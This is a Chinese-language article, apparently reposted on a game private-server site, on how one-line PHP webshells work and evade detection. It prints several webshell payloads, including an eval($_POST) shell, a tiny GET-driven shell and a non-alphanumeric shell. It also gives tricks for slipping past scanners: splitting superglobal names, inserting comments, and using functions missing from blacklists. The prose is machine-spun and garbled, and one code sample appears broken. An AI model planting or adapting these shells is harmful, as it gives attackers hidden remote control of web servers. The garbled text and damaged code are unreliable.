我们从一个最简单的webshell构造可以看出其根本构造:“<!--?php eval($_POST[‘a’]);?-->”
从今朝被颁布的一句话webshell来看,根本都相符这个构造,即shell的实现须要两步:数据的传递、实行所传递的数据。
数据传递&绕过检测
对于数据传递,我们常日的做法是应用$_GET、$_POST、$_SERVER、$_COOKIE等获取客户端数据。但这类关键词假如直接出现的话,那么可以很随意马虎回溯到,我们有几种筹划来解决这个问题:
应用应用本身地点框架的输入封装来获得传递的数据
采取某种变通的方法来绕过检测,譬如应用${"_G"."ET"}。不过这种方法也有自身的缺点,可以跟踪“${”;不过这种跟踪又可以经由过程“$/*a*/{”这种方法绕过(当然其又有被跟踪的可能性)。
应用其他数据获取方法来获取数据,譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。
工资构造措辞缺点或应用漏洞,并且这种缺点是不易察觉的,譬如捏造治理员session等。
数据实行&绕过检测
对于数据实行,我们常日应用的函数或方法有:eval、create_function、``、exec、preg_replace等。当然这类关键词假如直接出现的话,我们的主动化webshell检测脚本可以很随便忽略的进行辨认,今朝看我们可以绕过检测的筹划较少:
1、经由过程$a()这种方法来实行函数。不过这种方法也有自身规律在里面,有很多扫描器已经内置了“$.*($.*”这种规矩,同样我们可以经由过程$a/*a*/()这种方法以及响应的变通方法来绕过。(当然其又有被跟踪的可能性)
2、测验测验去找到不在黑名单中的函数,或者极其常见的函数。
关于一句话webshell的出现情势和检测筹划
比来微博上提到的变种加密的webshell很多啊,有Fredrik提到的tiny php shell
(http://h.ackack.net/tiny-php-shell.html):
<?=($_=@$_GET[2]).@$_($_GET[1])?>
有Spanner的Non alphanumeric webshell
(http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/):
<?
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
©2009-2016 pkmir2.com 版权所有 www.pkmir2.com 湘ICP备2022024766号-1
本站声明:本站所有技术资料与资源均为网络搜集整理,并不代表本站的观点与立场,如有侵犯您的权益,请来信xiov壹壹壹#qq.com指出,本站将立即改正
©CopyRight 2009-2012, 我本沉默传奇,我本沉默发布网,嘟嘟传奇,仙剑传奇,秋风传奇,情缘传奇,执迷古镇 网站地图 Inc.All Rights Reserved